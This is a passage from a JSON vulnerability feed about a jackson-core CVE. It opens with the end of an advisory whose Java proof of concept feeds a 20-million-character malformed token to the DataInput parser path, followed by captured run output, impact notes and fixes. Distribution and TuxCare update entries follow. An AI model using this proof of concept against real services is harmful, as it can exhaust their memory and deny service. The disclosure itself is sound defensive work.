\"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            long heapAfter = usedHeap();\n\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n            System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n                    + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n        }\n\n        System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser(raw);\n\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n        }\n    }\n\n    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n    }\n\n    static long usedHeap() {\n        Runtime rt = Runtime.getRuntime();\n        System.gc();\n        return rt.totalMemory() - rt.freeMemory();\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n   `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n   limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n   exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n   `ParserMinimalBase` to prevent this class of per-implementation drift recurring.","status":"published","published":"2026-10-01T15:20:27Z","modified":"2026-10-01T15:30:05.552671898Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"RLSA-2026:86706","title":"Moderate: jackson-core security update","description":"Core part of Jackson that defines Streaming API as well as basic shared abstractions.\n\nSecurity Fix(es):\n\n* com.fasterxml.jackson/jackson-core: tools.jackson.core/jackson-core: Jackson-core: Denial of Service via regular expression backtracking (CVE-2026-89407)\n\n* com.fasterxml.jackson.core/jackson-core: Jackson-core: Denial of Service via unbounded StringBuilder growth during malformed token processing (CVE-2026-89425)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-10-22T00:04:07.745746Z","modified":"2026-10-22T00:30:02.627384631Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"RLSA-2026:90909","title":"Important: pki-deps:10.6 security update","description":"The Public Key Infrastructure (PKI) Core contains fundamental packages required by Rocky Enterprise Software Foundation Certificate System.\n\nSecurity Fix(es):\n\n* com.fasterxml.jackson.core/jackson-core: Jackson-core: Denial of Service via unbounded StringBuilder growth during malformed token processing (CVE-2026-89425)\n\n* com.fasterxml.jackson.core/jackson-databind: tools.jackson.core:jackson-databind: Jackson-databind: Denial of Service via quadratic forward-reference completion (CVE-2026-91777)\n\n* com.fasterxml.jackson.core/jackson-core: tools.jackson.core/jackson-core: jackson-core: Denial of Service via excessively long JSON property names (CVE-2026-68498)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-10-29T12:01:16.697685Z","modified":"2026-10-29T12:30:03.191240243Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"UBUNTU-CVE-2026-89425","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","status":"published","published":"2026-09-23T03:17:00Z","modified":"2026-10-17T13:01:16.611565717Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"ALSA-2026:86706","title":"Moderate: jackson-core security update","description":"Core part of Jackson that defines Streaming API as well as basic shared abstractions.  \n\nSecurity Fix(es):  \n\n  * com.fasterxml.jackson/jackson-core: tools.jackson.core/jackson-core: Jackson-core: Denial of Service via regular expression backtracking (CVE-2026-89407)\n  * com.fasterxml.jackson.core/jackson-core: Jackson-core: Denial of Service via unbounded StringBuilder growth during malformed token processing (CVE-2026-89425)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-21T00:00:00Z","modified":"2026-10-29T11:32:38.564186804Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"ALSA-2026:90909","title":"Important: pki-deps:10.6 security update","description":"The Public Key Infrastructure (PKI) Core contains fundamental packages required by Red Hat Certificate System.  \n\nSecurity Fix(es):  \n\n  * com.fasterxml.jackson.core/jackson-core: Jackson-core: Denial of Service via unbounded StringBuilder growth during malformed token processing (CVE-2026-89425)\n  * com.fasterxml.jackson.core/jackson-databind: tools.jackson.core:jackson-databind: Jackson-databind: Denial of Service via quadratic forward-reference completion (CVE-2026-91777)\n  * com.fasterxml.jackson.core/jackson-core: tools.jackson.core/jackson-core: jackson-core: Denial of Service via excessively long JSON property names (CVE-2026-68498)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-27T00:00:00Z","modified":"2026-10-29T11:02:25.387689752Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"CLSA-2026-1791485698","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.17.1-tuxcare.1.","status":"published","published":"2026-10-08T18:54:58Z","modified":"2026-10-15T09:47:44.954131074Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791485784","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (4 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 4 CVEs. Fixed in 2.17.3-tuxcare.2.","status":"published","published":"2026-10-08T18:56:24Z","modified":"2026-10-15T09:47:45.014568537Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791486041","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.17.2-tuxcare.2.","status":"published","published":"2026-10-08T19:00:41Z","modified":"2026-10-15T09:47:44.994238414Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791493683","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (5 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 5 CVEs. Fixed in 2.14.2-tuxcare.3.","status":"published","published":"2026-10-08T21:08:03Z","modified":"2026-10-15T09:47:44.974502436Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1791495450","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (5 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 5 CVEs. Fixed in 2.14.1-tuxcare.2.","status":"published","published":"2026-10-08T21:37:30Z","modified":"2026-10-15T09:47:45.015099683Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1792399331","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.6.7-tuxcare.1.","status":"published","published":"2026-10-19T08:42:11Z","modified":"2026-10-19T13:30:05.95640479Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399344","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.9.8-tuxcare.1.","status":"published","published":"2026-10-19T08:42:24Z","modified":"2026-10-19T13:30:03.655797063Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399348","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.9.9-tuxcare.1.","status":"published","published":"2026-10-19T08:42:28Z","modified":"2026-10-19T13:30:02.672588875Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399384","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (3 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 3 CVEs. Fixed in 2.15.4-tuxcare.1.","status":"published","published":"2026-10-19T08:43:04Z","modified":"2026-10-27T13:43:05.899250218Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399394","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.2.3-tuxcare.1.","status":"published","published":"2026-10-19T08:43:14Z","modified":"2026-10-19T13:30:06.465444851Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399424","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.9.10-tuxcare.1.","status":"published","published":"2026-10-19T08:43:44Z","modified":"2026-10-19T13:30:04.692695805Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399436","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.15.2-tuxcare.1.","status":"published","published":"2026-10-19T08:43:56Z","modified":"2026-10-19T13:30:02.663657708Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399442","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.14.3-tuxcare.1.","status":"published","published":"2026-10-19T08:44:02Z","modified":"2026-10-19T13:30:06.455234505Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399460","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.13.2-tuxcare.1.","status":"published","published":"2026-10-19T08:44:20Z","modified":"2026-10-19T13:30:05.756963318Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792399472","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.13.4-tuxcare.1.","status":"published","published":"2026-10-19T08:44:32Z","modified":"2026-10-19T13:30:02.67147981Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792416889","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.1.3-tuxcare.1.","status":"published","published":"2026-10-19T13:34:49Z","modified":"2026-10-19T19:15:09.428767696Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792427235","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.6.0-tuxcare.1.","status":"published","published":"2026-10-19T16:27:15Z","modified":"2026-10-19T19:15:03.827753314Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792427260","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.7.0-tuxcare.1.","status":"published","published":"2026-10-19T16:27:40Z","modified":"2026-10-19T19:15:06.136737297Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428179","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.7.9-tuxcare.1.","status":"published","published":"2026-10-19T16:42:59Z","modified":"2026-10-19T19:15:08.729084698Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428196","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.7.4-tuxcare.1.","status":"published","published":"2026-10-19T16:43:16Z","modified":"2026-10-19T19:15:05.841199861Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428198","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.7.8-tuxcare.1.","status":"published","published":"2026-10-19T16:43:18Z","modified":"2026-10-19T19:15:03.988804787Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428221","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.8.8-tuxcare.1.","status":"published","published":"2026-10-19T16:43:41Z","modified":"2026-10-19T19:15:06.042556418Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428247","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.8.11-tuxcare.1.","status":"published","published":"2026-10-19T16:44:07Z","modified":"2026-10-19T19:15:04.735084074Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428307","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.9.6-tuxcare.1.","status":"published","published":"2026-10-19T16:45:07Z","modified":"2026-10-19T19:15:09.421781883Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428320","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.15.3-tuxcare.1.","status":"published","published":"2026-10-19T16:45:20Z","modified":"2026-10-19T19:15:08.822953993Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428388","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.10.4-tuxcare.1.","status":"published","published":"2026-10-19T16:46:28Z","modified":"2026-10-19T19:15:03.93435429Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428396","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.10.0-tuxcare.1.","status":"published","published":"2026-10-19T16:46:36Z","modified":"2026-10-19T19:15:07.048267639Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428438","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.11.3-tuxcare.1.","status":"published","published":"2026-10-19T16:47:18Z","modified":"2026-10-19T19:15:03.833559728Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428490","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.12.6-tuxcare.1.","status":"published","published":"2026-10-19T16:48:10Z","modified":"2026-10-19T19:15:03.93446899Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428529","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.12.7-tuxcare.1.","status":"published","published":"2026-10-19T16:48:49Z","modified":"2026-10-19T19:15:03.977564259Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428696","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.21.4-tuxcare.1.","status":"published","published":"2026-10-19T16:51:36Z","modified":"2026-10-19T19:15:08.924927909Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428707","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.10.5-tuxcare.1.","status":"published","published":"2026-10-19T16:51:47Z","modified":"2026-10-19T19:15:04.940669787Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428711","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.11.1-tuxcare.1.","status":"published","published":"2026-10-19T16:51:51Z","modified":"2026-10-19T19:15:04.941817222Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428725","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.11.4-tuxcare.1.","status":"published","published":"2026-10-19T16:52:05Z","modified":"2026-10-19T19:15:04.94572119Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428797","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.12.2-tuxcare.1.","status":"published","published":"2026-10-19T16:53:17Z","modified":"2026-10-19T19:15:06.83986175Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428805","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.11.2-tuxcare.1.","status":"published","published":"2026-10-19T16:53:25Z","modified":"2026-10-19T19:15:07.044375925Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792431620","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (3 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 3 CVEs. Fixed in 2.16.1-tuxcare.1.","status":"published","published":"2026-10-19T17:40:20Z","modified":"2026-10-19T19:15:06.838786646Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792431625","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.12.1-tuxcare.2.","status":"published","published":"2026-10-19T17:40:25Z","modified":"2026-10-19T19:15:04.738759293Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792431627","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (5 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 5 CVEs. Fixed in 2.15.0-tuxcare.1.","status":"published","published":"2026-10-19T17:40:27Z","modified":"2026-10-19T19:15:03.983395164Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792434304","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (4 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 4 CVEs. Fixed in 2.13.3-tuxcare.1.","status":"published","published":"2026-10-19T18:25:04Z","modified":"2026-10-20T01:45:04.533274398Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792434736","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.4.0-tuxcare.1.","status":"published","published":"2026-10-19T18:32:16Z","modified":"2026-10-20T01:45:05.339196998Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792437356","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.13.5-tuxcare.1.","status":"published","published":"2026-10-19T19:15:56Z","modified":"2026-10-20T01:45:05.440287818Z","updated_at":"2026-11-02T15:43:54.119956Z"}]},"sources_more":{"osv":17}}